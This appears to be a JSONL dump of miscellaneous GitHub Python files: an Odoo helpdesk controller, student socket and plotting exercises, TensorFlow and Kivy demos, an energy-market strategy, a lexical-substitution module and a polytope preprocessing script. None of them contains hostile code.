**kwargs):\n        return json.dumps(request.env['wb.mobile.request.registration'].getHelpdeskTeamListCount())\n\n    @http.route('/get/helpdesk/list/count', type='http', auth='api_key')\n    def getHelpdeskListCount(self, **kwargs):\n        return json.dumps(request.env['wb.mobile.request.registration'].getHelpdeskListCount())\n\n    @http.route('/get/assigned/helpdesk/list/count', type='http', auth='api_key')\n    def getAssignedHelpdeskListCount(self, **kwargs):\n        return json.dumps(\n            request.env['wb.mobile.request.registration'].getHelpdeskListCount(operation=\"assigned_tickets\"))\n\n    @http.route('/get/team/list/count', type='http', auth='api_key')\n    def getTeamListCount(self, **kwargs):\n        return json.dumps(request.env['wb.mobile.request.registration'].getTeamListCount())\n\n    @http.route('/get/all/tickets/count', type='http', auth='api_key')\n    def getHelpdeskTicketListCount(self, **kwargs):\n        if request.env.user.has_group('wb_mobile_helpdesk_integration.group_mobile_admin'):\n            return json.dumps(request.env['wb.mobile.request.registration'].getHelpdeskTicketListCount())\n        else:\n            return json.dumps({})\n\n","repo_name":"basseyroro/fob-kkon5","sub_path":"wb_mobile_helpdesk_integration/controller/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5229639955","text":"\"\"\"EX 2.6 server implementation\n   Author: Maor Sarusi\n   Date: 11/11/2020\n\"\"\"\n\nimport socket\nfrom socketsEx26 import protocol\n\n\ndef main():\n    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    server_socket.bind((\"0.0.0.0\", protocol.PORT))\n    server_socket.listen()\n    print(\"Server is up and running\")\n    (client_socket, client_address) = server_socket.accept()\n    print(\"Client connected\")\n\n    while True:\n        # Get message from socket and check if it is according to protocol\n        valid_msg, cmd = protocol.get_msg(client_socket)\n        if valid_msg:\n            # 1. Print received message\n            print(\"CLIENT SENT: {}\".format(cmd))\n            # 2. Check if the command is valid\n            if protocol.check_cmd(cmd):\n                # 3. If valid command - create response\n                response = protocol.create_server_rsp(cmd)\n            else:\n                response = \"Wrong command\"\n        else:\n            response = \"Wrong protocol\"\n            client_socket.recv(1024).decode()  # Attempt to empty the socket from possible garbage\n        # Handle EXIT command, no need to respond to the client\n        if cmd == \"EXIT\":\n            break\n\n        # Send response to the client\n        client_socket.send(response.encode())\n\n    print(\"Server Closing\\n\")\n    # Close sockets\n    server_socket.close()\n    client_socket.close()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"maorsarusi/python_pycharm","sub_path":"socketsEx26/server26.py","file_name":"server26.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27923926983","text":"from leitorarquivo import LeitorArquivo\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef main():\n    leitor = LeitorArquivo('data.txt')\n    valores = leitor.getValores() \n    print(valores)\n    plt.title('Gráfico de linhas')\n    plt.ylabel('Valores de entrada')\n    plt.xlabel('Amostragem')\n    i = 1\n    for serie in valores:\n        plt.plot(serie, label='Série ' + str(i))   \n        i += 1\n    plt.legend(loc='upper left')\n    plt.show()\n    \n \nmain()","repo_name":"kmil3/roteiro_git","sub_path":"geragrafico.py","file_name":"geragrafico.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23913742329","text":"class Solution:\n    def numDecodings(self, s: str) -> int:\n        result = 0\n        # encode_dict = {}\n        # for i in range(26):\n        #     encode_dict[chr(ord('a')+i)] = i+1\n        # print(encode_dict)\n        n = len(s)\n        dp = [0] * n\n        for i in range(n+1):\n            print(s[i])\n            for j in range(n-1):\n                print(s[j], s[j-1])\n        return result\n\nobj = Solution()\ns = \"226548\"\nprint(obj.numDecodings(s))","repo_name":"ArunCSK/arunai","sub_path":"DSA/Dynamic Programs/numEncodeDecode.py","file_name":"numEncodeDecode.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11150980935","text":"import os\n\nos.environ[\"TF_CPP_MIN_LOG_LEVEL\"] = \"2\"\nimport tensorflow as tf\nfrom tensorflow import keras\nfrom keras import layers\nfrom keras.datasets import mnist\n\ntf.random.set_seed(42)\n\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\nx_train = x_train.astype(\"float32\") / 255.0\nx_test = x_test.astype(\"float32\") / 255.0\n\n# Custom layer\nclass Dense(layers.Layer):\n    def __init__(self, units):\n        super(Dense, self).__init__()\n        self.units = units\n\n    def call(self, inputs):\n        return tf.matmul(inputs, self.w) + self.b\n\n    def build(self, input_shape):\n        # Weights\n        self.w = self.add_weight(\n            name=\"w\",\n            shape=(input_shape[-1], self.units),\n            initializer=\"random_normal\",\n            trainable=True,\n        )\n        # Biases\n        self.b = self.add_weight(\n            name=\"b\", shape=(self.units,), initializer=\"zeros\", trainable=True\n        )\n\n\n# Custom activation function\nclass MyReLU(layers.Layer):\n    def __init__(self):\n        super(MyReLU, self).__init__()\n\n    def call(self, x):\n        return tf.math.maximum(x, 0)\n\n\n# Custom model\nclass MyModel(keras.Model):\n    def __init__(self, num_classes=10):\n        super(MyModel, self).__init__()\n        self.flatten = layers.Flatten()\n        self.dense1 = Dense(64)\n        self.dense2 = Dense(num_classes)\n        self.relu = MyReLU()\n\n        # self.dense1 = layers.Dense(64)\n        # self.dense2 = layers.Dense(num_classes)\n\n    def call(self, input_tensor):\n        x = self.flatten(input_tensor)\n        x = self.relu(self.dense1(x))\n        return tf.nn.softmax(self.dense2(x))\n\n\nmodel = MyModel()\nmodel.compile(\n    loss=keras.losses.SparseCategoricalCrossentropy(),\n    optimizer=keras.optimizers.Adam(),\n    metrics=[\"accuracy\"],\n)\n\nmodel.fit(x_train, y_train, batch_size=32, epochs=3)\n","repo_name":"Nikolas010101/Projects","sub_path":"Deep learning/TensorFlow/Intermediary/tf5.py","file_name":"tf5.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10485768146","text":"import itertools\nimport os\n\nimport numpy as np\nimport seaborn as sns\nfrom matplotlib import pyplot as plt\nfrom matplotlib.backends.backend_pdf import PdfPages\n\nfrom deepak.sfmap import sfmap_plot\n\n\ndef replace_wt(df, seq, values):\n    start = df.first_valid_index()\n    for i, aa in enumerate(seq):\n        df.loc[i + start, aa] = values\n    return df\n\n\ndef correlation_plot(df1, df2, sample_name, min_counts):\n    x = df1[\"counts\"]\n    y = df2[\"counts\"]\n    rsq = np.corrcoef(x, y)[0, 1]\n    fig, axis = plt.subplots(1, 2, figsize=(10, 5))\n    ax = sns.regplot(np.log(x), np.log(y), fit_reg=False, scatter_kws={\"alpha\": 0.2}, ax=axis[0])\n    ax.set_xlabel(\"Replicate 1\")\n    ax.set_ylabel(\"Replicate 2\")\n    ax.set_title(\"log read counts\")\n    ax.text(0.1, 0.9, r\"$R^2$ = \" + str(round(rsq ** 2, 3)), transform=ax.transAxes)\n    a = (df1[\"edited_counts\"] / x).mask(x < min_counts)\n    b = (df2[\"edited_counts\"] / y).mask(y < min_counts)\n    select = b.notnull() & a.notnull()\n    rsq2 = np.corrcoef(a[select], b[select])[0, 1]\n    ax2 = sns.regplot(a, b, fit_reg=False)\n    ax2.text(0.8, 0.9, r\"$R^2$ = \" + str(round(rsq2 ** 2, 3)), transform=ax2.transAxes)\n    ax2.set_xlabel(\"Replicate 1\")\n    ax2.set_ylabel(\"Replicate 2\")\n    ax2.set_title(\"editing rates\")\n    fig.suptitle(\"{} replicate correlation\".format(sample_name))\n    plt.axis('square')\n    plt.tight_layout()\n    return fig\n\n\ndef get_sub_replicate(df, i):\n    d1 = df[[\"rep{}_counts\".format(i), \"rep{}_edited_counts\".format(i)]]\n    d1.columns = [\"counts\", \"edited_counts\"]\n    return d1\n\n\ndef all_correlations(df, sample_name, fig_dir, min_counts):\n    counter = 0\n    while \"rep{}_counts\".format(counter) in df:\n        counter += 1\n    for i, j in itertools.combinations(range(counter), 2):\n        frames = [get_sub_replicate(df, x) for x in (i, j)]\n        corr = correlation_plot(frames[0], frames[1], sample_name, min_counts)\n        corr.savefig(fig_dir+\"/{}-{}_correlation.pdf\".format(sample_name, str(counter)))\n        counter += 1\n    return\n\n\ndef hmap_plot(file, df, style, wt_seq, **kwargs):\n    pp = PdfPages(file)\n    try:\n        sfmap_plot(df=df, pdf=pp, style=style, wt=wt_seq, dimensions='wide', **kwargs)\n    finally:\n        pp.close()\n    return\n\n\ndef make_heatmaps(sample, density, geom, log2_fold_change, z_scores, std_err, wt_aa_seq, min_counts, fig_dir):\n    hmap_plot(fig_dir+\"/{}_density.pdf\".format(sample), density, \"logcounts\", wt_aa_seq,\n              title=\"{} count density\".format(sample))\n    hmap_plot(fig_dir+\"/{}_geom_rates.pdf\".format(sample), geom.mask(density < min_counts), \"scores\", wt_aa_seq,\n              title=\"{} log2 fold change in editing rate (geometric mean)\".format(sample), vmin=-4)\n    hmap_plot(fig_dir+\"/{}_rates.pdf\".format(sample), log2_fold_change.mask(density < min_counts), \"scores\", wt_aa_seq,\n              title=\"{} log2 fold change in editing rate (arithmetic mean)\".format(sample), vmin=-4)\n    hmap_plot(fig_dir+\"/{}_z-scores.pdf\".format(sample), z_scores, \"scores\", wt_aa_seq,\n              title=\"{} Z-scores with standard error\".format(sample), vmin=-4, vmax=10, df_se=std_err)\n    return\n\n\ndef make_fig_dir(sample, base_dir, append):\n    if not os.path.isdir(base_dir+\"figures\"):\n        os.mkdir(base_dir+\"figures\")\n    fig_dir = base_dir+\"figures/\"+sample+append\n    if not os.path.isdir(fig_dir):\n        os.mkdir(fig_dir)\n    else:\n        print(\"Overwriting files in {}\".format(fig_dir))\n    return fig_dir\n\n\ndef run(sample, base_dir, n_reps, reference, append, min_counts=1, target=None, basename=\"Pafparser-\"):\n    #if os.path.isfile(base_dir+sample+\".csv\"):\n    #    df, wt = csv_to_df_wt(base_dir+sample+\".csv\")\n    #else:\n    df, wt = pafparser_to_csv(sample, base_dir, n_reps, reference, append, target=target, basename=basename)\n    wt_aa_seq, density, geom_fold_change, log2_fc, z_scores, std_err = calculate(df, wt, reference)\n    fig_dir = make_fig_dir(sample, base_dir, append)\n    all_correlations(df, sample, fig_dir, min_counts)\n    make_heatmaps(sample, density, geom_fold_change, log2_fc, z_scores, std_err, wt_aa_seq, min_counts, fig_dir)\n    return df, wt","repo_name":"natepalmer/deepak","sub_path":"deepak/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":4116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10085991012","text":"# LEVEL 2\n\nfrom heapq import heappush, heappop\n\ndef solution(n, k, enemy):\n    hq = []\n\n    for idx, e in enumerate(enemy):\n        heappush(hq, -e)\n        n -= e\n\n        if n < 0:\n            if k > 0:\n                n -= heappop(hq)\n                k -= 1\n            else:\n                return idx\n\n    return len(enemy)\n","repo_name":"vhzkclq0705/Algorithm_Problem_Solving","sub_path":"Programmers/연습문제/LEVEL 2/디펜스 게임.py","file_name":"디펜스 게임.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17803767884","text":"from kivy.app import App\nfrom kivy.uix.widget import Widget\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.image import Image\nfrom kivy.clock import Clock\nfrom kivy.graphics.texture import Texture\nimport cv2\nimport numpy as np\n\n\nclass CamApp(App):\n\n    def build(self):\n        self.img1 = Image()\n        main_layout = BoxLayout(orientation=\"vertical\")\n        main_layout.add_widget(self.img1)\n        self.capture = cv2.VideoCapture(0)\n\n        Clock.schedule_interval(self.update, 1.0/33.0)\n        return main_layout\n\n    def update(self, dt):\n        ret, frame = self.capture.read()\n        fc = frame.copy()\n\n        kernel = np.array([[1, 1, 1, 1, 1],\n                           [1, 1, 1, 1, 1],\n                           [1, 1, 1, 1, 1],\n                           [1, 1, 1, 1, 1],\n                           [1, 1, 1, 1, 1]])\n        kernel = kernel / sum(kernel)\n\n        # filter the source image\n        fc = cv2.filter2D(fc, -1, kernel)\n\n\n        buf1 = cv2.flip(fc, 0)\n        buf = buf1.tostring()\n\n        texture1 = Texture.create(size=(frame.shape[1], frame.shape[0]), colorfmt='bgr')\n        texture1.blit_buffer(buf, colorfmt='bgr', bufferfmt='ubyte')\n\n        self.img1.texture = texture1\n\n\nif __name__ == '__main__':\n    CamApp().run()\n    cv2.destroyAllWindows()","repo_name":"TrellixVulnTeam/Filter_MBRR","sub_path":"Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74235868807","text":"from typing import Dict, TYPE_CHECKING\n\nfrom gsy_framework.data_classes import TraderDetails\nfrom gsy_framework.enums import AvailableMarketTypes\nfrom pendulum import DateTime, duration\n\nfrom gsy_e.constants import FLOATING_POINT_TOLERANCE\nfrom gsy_e.models.strategy.energy_parameters.energy_params_eb import (\n    ConsumptionStandardProfileEnergyParameters)\nfrom gsy_e.models.strategy.forward import ForwardStrategyBase\nfrom gsy_e.models.strategy.forward.order_updater import ForwardOrderUpdaterParameters\n\nif TYPE_CHECKING:\n    from gsy_e.models.market.forward import ForwardMarketBase\n    from gsy_framework.data_classes import Trade\n    from gsy_e.models.strategy.state import LoadState\n\n\nDEFAULT_LOAD_ORDER_UPDATER_PARAMS = {\n    AvailableMarketTypes.INTRADAY: ForwardOrderUpdaterParameters(\n        duration(minutes=5), 10, 40, 10),\n    AvailableMarketTypes.DAY_FORWARD: ForwardOrderUpdaterParameters(\n        duration(minutes=30), 20, 40, 10),\n    AvailableMarketTypes.WEEK_FORWARD: ForwardOrderUpdaterParameters(\n        duration(days=1), 30, 50, 10),\n    AvailableMarketTypes.MONTH_FORWARD: ForwardOrderUpdaterParameters(\n        duration(weeks=1), 40, 60, 20),\n    AvailableMarketTypes.YEAR_FORWARD: ForwardOrderUpdaterParameters(\n        duration(months=1), 50, 70, 50)\n}\n\n\nclass ForwardLoadStrategy(ForwardStrategyBase):\n    \"\"\"\n    Strategy that models a Load that trades with a Standard Solar Profile on the forward\n    exchanges.\n    \"\"\"\n    def __init__(\n            self, capacity_kW: float,\n            order_updater_parameters: Dict[\n                AvailableMarketTypes, ForwardOrderUpdaterParameters] = None):\n        if not order_updater_parameters:\n            order_updater_parameters = DEFAULT_LOAD_ORDER_UPDATER_PARAMS\n        super().__init__(order_updater_parameters)\n        self._energy_params = ConsumptionStandardProfileEnergyParameters(capacity_kW)\n\n    @property\n    def state(self) -> \"LoadState\":\n        return self._energy_params.state\n\n    def event_activate(self, **kwargs):\n        self._energy_params.event_activate_energy(self.area)\n\n    def remove_order(self, market: \"ForwardMarketBase\", market_slot: DateTime, order_uuid: str):\n        bids = [bid\n                for bid in market.slot_bid_mapping[market_slot]\n                if bid.buyer.name == self.owner.name and bid.id == order_uuid]\n        if not bids:\n            self.log.error(\"Bid with id %s does not exist on the market %s %s.\",\n                           order_uuid, market.market_type, market_slot)\n            return\n        market.delete_bid(bids[0])\n\n    def remove_open_orders(self, market: \"ForwardMarketBase\", market_slot: DateTime):\n        bids = [bid\n                for bid in market.slot_bid_mapping[market_slot]\n                if bid.buyer.name == self.owner.name]\n        for bid in bids:\n            market.delete_bid(bid)\n\n    def post_order(\n            self, market: \"ForwardMarketBase\", market_slot: DateTime, order_rate: float = None,\n            **kwargs):\n        if not order_rate:\n            order_rate = self._order_updaters[market][market_slot].get_energy_rate(\n                self.area.now)\n        capacity_percent = kwargs.get(\"capacity_percent\")\n        if not capacity_percent:\n            capacity_percent = self._order_updaters[market][market_slot].capacity_percent / 100.0\n        max_energy_kWh = self._energy_params.peak_energy_kWh * capacity_percent\n        available_energy_kWh = self._energy_params.get_available_energy_kWh(\n            market_slot, market.market_type)\n\n        posted_energy_kWh = self._energy_params.get_posted_energy_kWh(\n            market_slot, market.market_type)\n\n        order_energy_kWh = min(available_energy_kWh - posted_energy_kWh, max_energy_kWh)\n\n        if order_energy_kWh <= FLOATING_POINT_TOLERANCE:\n            return\n        market.bid(\n            order_rate * order_energy_kWh, order_energy_kWh,\n            buyer=TraderDetails(self.owner.name, self.owner.uuid,\n                                self.owner.name, self.owner.uuid),\n            original_price=order_rate * order_energy_kWh,\n            time_slot=market_slot)\n        self._energy_params.increment_posted_energy(\n            market_slot, order_energy_kWh, market.market_type)\n\n    def event_bid_traded(self, *, market_id: str, bid_trade: \"Trade\"):\n        \"\"\"Method triggered by the MarketEvent.BID_TRADED event.\"\"\"\n        market = [market\n                  for market in self.area.forward_markets.values()\n                  if market_id == market.id]\n        if not market:\n            return\n\n        if bid_trade.buyer.uuid != self.owner.uuid:\n            return\n\n        self._energy_params.event_traded_energy(bid_trade.traded_energy,\n                                                bid_trade.time_slot, market[0].market_type)\n        self._energy_params.decrement_posted_energy(\n            bid_trade.time_slot, bid_trade.traded_energy, market[0].market_type)\n","repo_name":"gridsingularity/gsy-e","sub_path":"src/gsy_e/models/strategy/forward/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","stars":75,"dataset":"github-code","pt":"16"}
+{"seq_id":"74439013769","text":"\"\"\"Framework for constructing a Dataset from observation files and apriori sources\n\nDescription:\n------------\n\nEach pipeline should be defined separate .py-file. The function inside the .py-file that\nshould be called need to be decorated with the :func:`~midgard.dev.plugins.register` decorator as follows::\n\n    from midgard_dev import plugins\n\n    @plugins.register\n    def write_to_dataset(dset, rundate=None, **obsargs):\n        ...\n\nThe decorated function will be called through the :func:`get`, with rundate and pipeline specificed as input\narguments. Additional parameters to the registered function should be passed as named keyword arguments.\n\"\"\"\n\n# Midgard imports\nfrom midgard.dev import plugins\n\n\ndef get(dset, **obs_args):\n    \"\"\"Construct a Dataset for the pipeline based on observations\n\n    Args:\n        dset:  A Dataset that will be filled with observations and necessary fields\n    \"\"\"\n    rundate = dset.analysis[\"rundate\"]\n    pipeline = dset.vars[\"pipeline\"]\n\n    plugins.call(package_name=__name__, plugin_name=pipeline, dset=dset, rundate=rundate, **obs_args)\n","repo_name":"kartverket/where","sub_path":"where/obs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"16"}
+{"seq_id":"33714848788","text":"import sys\nimport psycopg2\n\nfilename=sys.argv[1]\n\ndsn = \"dbname=spectredb\" # Must be set to be able to connect to database\nconn = psycopg2.connect(dsn)\ncur=conn.cursor()\ninsert= \"insert into measure (latitude,longitude,altitude,acqtime,flightdosevd1,flightdosevd2,specvd1,specvd2,laseralt,radalt,pressure,temperature,linenumber,filename) values(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)\"\n\ndef lst2pgarr(alist):\n    return '{' + ','.join(alist) + '}'\n\nf = open(filename, \"r\",encoding='latin-1')\nheader=True\nidxs=[]\nfor idx,line in enumerate(f):\n  data=(line.split(',')) \n  if(header):\n    if idx ==1:\n       # print(data)\n        matching = [s for s in data if \"Spectrum VD\" in s]\n        print(matching)\n        get_indexes = lambda x, xs: [i for (y, i) in zip(xs, range(len(xs))) if x in y]\n        idxs=get_indexes(\"Spectrum VD\",data)\n    header = idx<2\n  else:\n    vd1=lst2pgarr(data[idxs[0]:idxs[0]+1024])\n    vd2=lst2pgarr(data[idxs[1]:idxs[1]+1024])\n    insdata=[data[9],data[8],data[10],data[1],data[14],data[28],vd1,vd2,data[24],data[23],data[22],data[21],data[11],filename]\n    insdata=[x if x !='' else None for x in insdata]\n    # print(insdata)\n    cur.execute(insert,insdata)\n\ncur.execute(\"update measure set geom=ST_SetSRID(ST_MakePoint(Longitude, Latitude),4326) where geom is null\")\nconn.commit()\nconn.close()\n","repo_name":"sickel/qgisSpectre","sub_path":"readdata.py","file_name":"readdata.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"32514990428","text":"\"\"\" Different models for performing lexical substitution task \n    (find substitution for a word in context)\"\"\"\nfrom nltk.corpus import lin_thesaurus as lin\nfrom nltk.corpus import wordnet as wn\nimport numpy as np \nfrom numpy.linalg import norm\nfrom gensim.models import KeyedVectors\nimport tools\nfrom tools import process_candidates\n\nWORD2VEC_PATH = \"~/GoogleNews-vectors-negative300-SLIM.bin\"\n\ndef lin_synonyms(word, pos):\n    fileid = 'sim%s.lsp' % pos.upper()\n    thes_entry = lin.scored_synonyms(word, fileid = fileid)\n    thes_entry = sorted(thes_entry, key = (lambda x : x[1]), reverse = True)\n    # return words ordered by score\n    return [syn for syn,score in thes_entry]\n\ndef wordnet_synonyms(word, pos):\n    if (pos == 'n'):\n        synset = wn.synsets(word, wn.NOUN)\n        # return synonym lemmas in no particular order \n        return [lemma.name() for s in synset for lemma in s.lemmas()]\n    else:\n        raise ValueError(\"unsupported part of speech: %r\" % pos)\n\n\nclass LexSub(object):\n    \"Find word substitutions for a word in context using word2vec skip-gram embedding\"\n    def __init__(self, word_vectors = None, n_substitutes = 5,\n                       candidate_generator = 'word2vec', n_candidates = 50):\n        \"\"\"\n        n_substitutes = number of lexical substitutes to generate \n        candidate_generator = word2vec, lin, wordnet\n        \"\"\"\n        self.n_substitutes = n_substitutes\n        # supported POS values \n        self.poses = ['n', 'a', 'v']\n        # number of generated candidates for substitution\n        self.n_candidates = n_candidates\n        if word_vectors is None:\n            self.word_vectors = KeyedVectors.load_word2vec_format(WORD2VEC_PATH, binary=True)\n        else:\n            self.word_vectors = word_vectors\n        if candidate_generator in ['word2vec', 'lin', 'wordnet']:\n            self.candidate_generator = candidate_generator\n        else:\n            raise ValueError(\"Invalid value candidate_generator: %r\" % candidate_generator)\n\n    def get_candidates(self, word, POS):\n        if self.candidate_generator == 'word2vec':\n            words_scores = self.word_vectors.most_similar(positive=[word])\n            result = [word for word, score in words_scores]\n        if self.candidate_generator == 'lin':\n            result = lin_synonyms(word, POS)\n        if self.candidate_generator == 'wordnet':\n            result = wordnet_synonyms(word, POS)\n        # words to lower case, replace underscore, remove duplicates, \n        # remove target word and stop words, clip length\n        result = process_candidates(result, word)[:self.n_candidates]\n        assert(len(result) <= self.n_candidates)\n        return result\n\n    def get_substitutability(self, t, s, C):\n        \"\"\" get substitutability of substitution s for target t in context C\n        t = target word \n        s = candidate substitution \n        C = list of context words \n        \"\"\"\n        # 1. target score: how similar is it to the target word?\n        tscore = self.word_vectors.similarity(t, s)\n        # 2. context score: how similar is it to the context words?\n        cscores = [self.word_vectors.similarity(s, c) for c in C ]\n        cscore = sum(cscores)\n        return (tscore + cscore)/(len(C)+1)\n\n    def lex_sub(self, word_POS, sentence):\n        \"\"\" Get appropriate substitution for a word given context words \n        \n        word_POS = word with part of speech in form word.POS e.g. dog.n\n        context_words = list of words in context \n        \"\"\"\n        w,_,POS = word_POS.partition('.')\n        # generate candidate substitutions\n        candidates = self.get_candidates(w, POS)\n        if sentence is None:\n            return candidates[:self.n_substitutes]\n        else:\n            context_words = tools.get_words(sentence)\n            # filter context words: exist in the word2vec vocab, not stop words  \n            context_words = list(filter(lambda c : c in self.word_vectors.vocab \n                                               and c not in tools.stopwords, \n                                               context_words))\n            cand_scores = [self.get_substitutability(w, s, context_words) if s in self.word_vectors.vocab else 0 for s in candidates ]\n            assert(len(cand_scores) == len(candidates))            \n            sorted_candidates = sorted(zip(candidates, cand_scores), key = lambda x : x[1], reverse=True )\n            return [sub for sub, score in sorted_candidates][:self.n_substitutes]\n\n\n\n","repo_name":"Mchristos/lexsub","sub_path":"lexsub.py","file_name":"lexsub.py","file_ext":"py","file_size_in_byte":4489,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"16"}
+{"seq_id":"12748052670","text":"import numpy as np\nfrom signalp import signal\nfrom spectral_feature import *\nimport matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\n\nfilename = \"0100200101.wav\"\n\ntest = signal(filename)\ntest._load_file()\n\n# wav = test._read_stream()\n# print(np.fromstring(wav, 'Int16'))\n# test._save_file(wav)\n\n# test._load_file()\n\nprint(len(test.data))\ndat = test.data\n\n\n# stream = np.fromstring(test.data, 'Int16')\n\n\nms = np.int(20*(test.FS/1000))  \n\nfor i in range(int(len(dat)/ms)):\n    stream = dat[np.int(i*ms):np.int((i+1)*ms)]\n    windowed = spectral_estimate(stream)\n    lpc_data = lpc_spectrum(windowed)\n    plt.plot(lpc_data)\n    plt.show()","repo_name":"firstspector/speech2v","sub_path":"lab/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22696815827","text":"# Write a python program to find status of a given interface\n# S.no\tInterface\t\t  IP\t\t   Status\t\t\n# 1\t    Ethernet0\t\t1.1.1.1\t\t\t up\n# 2\t    Ethernet1\t\t2.2.2.2\t\t\t down\n# 3 \tSerial0\t\t\t3.3.3.3\t\t\t up\n# 4\t    Serial1\t\t\t4.4.4.4\t\t\t up\n\neth = {                                                                  #Dictionary\n        'Interface':['Ethernet0','Ethernet1','Serial0','Serial1'],\n        'IP':['1.1.1.1','2.2.2.2','3.3.3.3','4.4.4.4'],\n        'status':['up','down','up','up']\n       }\n\nfor key in eth.keys():\n        print(\"\\t\",key,end=\"\\t\")\nprint()\nprint(\"------------------------------------------------------------\")\nx=1\nfor i in range(0,len(eth['Interface'])):\n    print(x,\"|     \",eth['Interface'][i],'\\t',\"   |   \",eth['IP'][i],'\\t',\"|   \",eth['status'][i])     \n    x=x+1                                                                                      \nprint() \n\nuser_input= input(\"Enter the interface \")\nfor i in range(0,len(eth['Interface'])):\n    if(eth['Interface'][i] == user_input):\n        print(\"Status of \",user_input,\" - \",eth['status'][i])\n        break\nprint()","repo_name":"HimaKota/My-Python-Practice","sub_path":"Dictionary/status_given_interface.py","file_name":"status_given_interface.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10239684251","text":"import os.path\nimport sys\npath = os.path.dirname(__file__)\nsys.path.insert(0, path+'/PolyRound')\nimport argparse\nfrom PolyRound import api\nfrom PolyRound.mutable_classes.polytope import Polytope\nfrom PolyRound.static_classes.lp_utils import ChebyshevFinder\nimport pandas as pd\nimport h5py\n\n\ndef run(args):\n    print(args)\n    polytope = None\n    if os.path.splitext(args.input_file)[1] == '.xml':\n        polytope = api.PolyRoundApi.sbml_to_polytope(args.input_file)\n    elif os.path.splitext(args.input_file)[1] == '.hdf5' or os.path.splitext(args.input_file)[1] == '.h5':\n        A = pd.read_hdf(args.input_file, 'A')\n        b = pd.read_hdf(args.input_file, 'b')\n        polytope = Polytope(A, b)\n    else:\n        print('Wrong file format. Use .xml, .hdf5 or .h5')\n        exit(1)\n    print(polytope.A)\n    print(polytope.b)\n    hp_flags = {\"FeasibilityTol\": args.feasibility_tolerance,\n                \"OptimalityTol\": args.optimality_tolerance}\n    backend = 'glpk'\n    polytope = api.PolyRoundApi.simplify_polytope(polytope=polytope,\n                                                  backend=backend,\n                                                  hp_flags=hp_flags,\n                                                  thresh=args.default_width)\n    polytope = api.PolyRoundApi.transform_polytope(polytope=polytope,\n                                                   backend=backend,\n                                                   hp_flags=hp_flags)\n    if args.round:\n        polytope = api.PolyRoundApi.round_polytope(polytope=polytope,\n                                                   hp_flags=hp_flags,\n                                                   backend=backend)\n\n    api.PolyRoundApi.polytope_to_hdf5(polytope, args.output_file)\n    [chebyshev,dist] = ChebyshevFinder.chebyshev_center(polytope)\n\n    h5 = h5py.File(args.output_file, 'w')\n    h5.create_dataset('start', data=chebyshev)\n    h5.create_dataset('A', data=polytope.A)\n    h5.create_dataset('b', data=polytope.b)\n    h5.create_dataset('transformation', data=polytope.transformation)\n    h5.create_dataset('shift', data=polytope.shift)\n    h5.close()\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(\"description=preprocess polytopes for HOPS.\")\n    parser.add_argument('-r', '--round', default=True, type=bool,\n                        help=\"calculate apply rounding transformation\")\n    parser.add_argument('-i', '--input-file', help='input file, sbml (xml) or hdf5')\n    parser.add_argument('-o', '--output-file', help='output file file (hdf5)')\n    parser.add_argument('-ftol', '--feasibility-tolerance', default='1e-09', type=float,\n                        help='Feasibility Tolerance for LP solver.')\n    parser.add_argument('-otol', '--optimality-tolerance', default='1e-08', type=float,\n                        help='Feasibility Tolerance for LP solver.')\n    parser.add_argument('-w', '--default-width', default='1e-07', type=float,\n                        help='Minimal width of dimensions')\n    parser.add_argument('-m', '--max-scaling-per-rounding-iteration', default='1e6', type=float,\n                        help='Upper bound on scaling for rounding algo. Higher values take less time but are numerically less stable.')\n    parser.add_argument('-s', '--svd-threshold', default='1e-12', help='min threshold for svd.')\n\n    args = parser.parse_args()\n    run(args)\n","repo_name":"modsim/margss","sub_path":"polyround.py","file_name":"polyround.py","file_ext":"py","file_size_in_byte":3380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
